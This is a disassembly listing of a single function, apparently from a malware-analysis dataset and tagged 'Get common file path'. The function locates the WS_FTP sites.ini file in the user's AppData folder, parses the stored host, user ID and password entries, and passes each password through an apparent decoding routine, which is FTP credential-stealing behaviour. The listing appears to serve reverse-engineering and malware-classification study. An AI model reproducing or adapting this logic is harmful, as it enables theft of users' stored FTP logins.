Function at 0x420be0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3e90
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xbc3]
push edi
xor ebx, ebx
mov edi, ecx
push 0x3e7
push ebx
push eax
mov byte [ebp - 0xbc4], bl
call fcn.006390b0
add esp, 0xc
push esi
call fcn.00643470
pop ecx
cmp eax, 1
jae 0x420c64
lea eax, [ebp - 0xbc4]
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x420c57
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
mov eax, str._sIpswitchWS_FTPSitesws_ftp.ini
lea esi, [ebp - 0xbc4]
jmp 0x420c69
mov eax, str._sSitesws_ftp.ini
push esi
push eax
lea eax, [ebp - 0x177c]
push 0x3e8
push eax
call fcn.00402e0a
push 0x6c63d0
lea eax, [ebp - 0x177c]
mov dword [ebp - 0x3e90], ebx
push eax
lea eax, [ebp - 0x3e90]
push eax
call fcn.00649a00
add esp, 0x1c
test eax, eax
jne 0x420c44
cmp dword [ebp - 0x3e90], ebx
je 0x420c44
mov esi, 0x2710
jmp 0x420e7f
lea eax, [ebp - 0x3e8c]
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x420ce1
lea eax, [ebp - 0x3e8c]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, esi
jae 0x420eb1
mov byte [ebp + eax - 0x3e8c], bl
lea ecx, [ebp - 0x3e8c]
call fcn.004046b4
lea ecx, [ebp - 0x3e8c]
call fcn.004047e7
lea eax, [ebp - 0x3e8c]
push 0x5b
push eax
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x420d23
lea eax, [ebp - 0x3e8c]
push 0x5d
push eax
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
jne 0x420e6d
push str.host
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x3e8c]
push str.host
push eax
call fcn.0065106c
add esp, 0xc
test eax, eax
jne 0x420d7a
push str.host
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x3e8c]
add eax, ecx
push eax
lea eax, [ebp - 0x7dc]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x7dc]
call fcn.004047e7
push str.uid
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x3e8c]
push str.uid
push eax
call fcn.0065106c
add esp, 0xc
test eax, eax
jne 0x420dd1
push str.uid
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x3e8c]
add eax, ecx
push eax
lea eax, [ebp - 0x3f4]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x3f4]
call fcn.004047e7
push str.pwd
call fcn.00643470
pop ecx
push eax
lea eax, [ebp - 0x3e8c]
push str.pwd
push eax
call fcn.0065106c
add esp, 0xc
test eax, eax
jne 0x420e7f
push str.pwd
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x3e8c]
add eax, ecx
push eax
lea eax, [ebp - 0x1394]
push 0x3e8
push eax
call fcn.006494f3
add esp, 0xc
lea ecx, [ebp - 0x1394]
call fcn.004047e7
lea edx, [ebp - 0xfac]
lea ecx, [ebp - 0x1394]
call fcn.00420acd
test eax, eax
je 0x420e7f
push 0xffffffffffffffff
mov ecx, 0x6c5bb9
lea eax, [ebp - 0xfac]
push ecx
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x7dc]
push eax
push ecx
push 0x132
push 4
mov ecx, edi
call fcn.0043ee6b
mov byte [ebp - 0x7dc], bl
mov byte [ebp - 0x3f4], bl
mov byte [ebp - 0xfac], bl
push dword [ebp - 0x3e90]
lea eax, [ebp - 0x3e8c]
push esi
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x420cb3
push dword [ebp - 0x3e90]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x420c46
call fcn.00612782
int3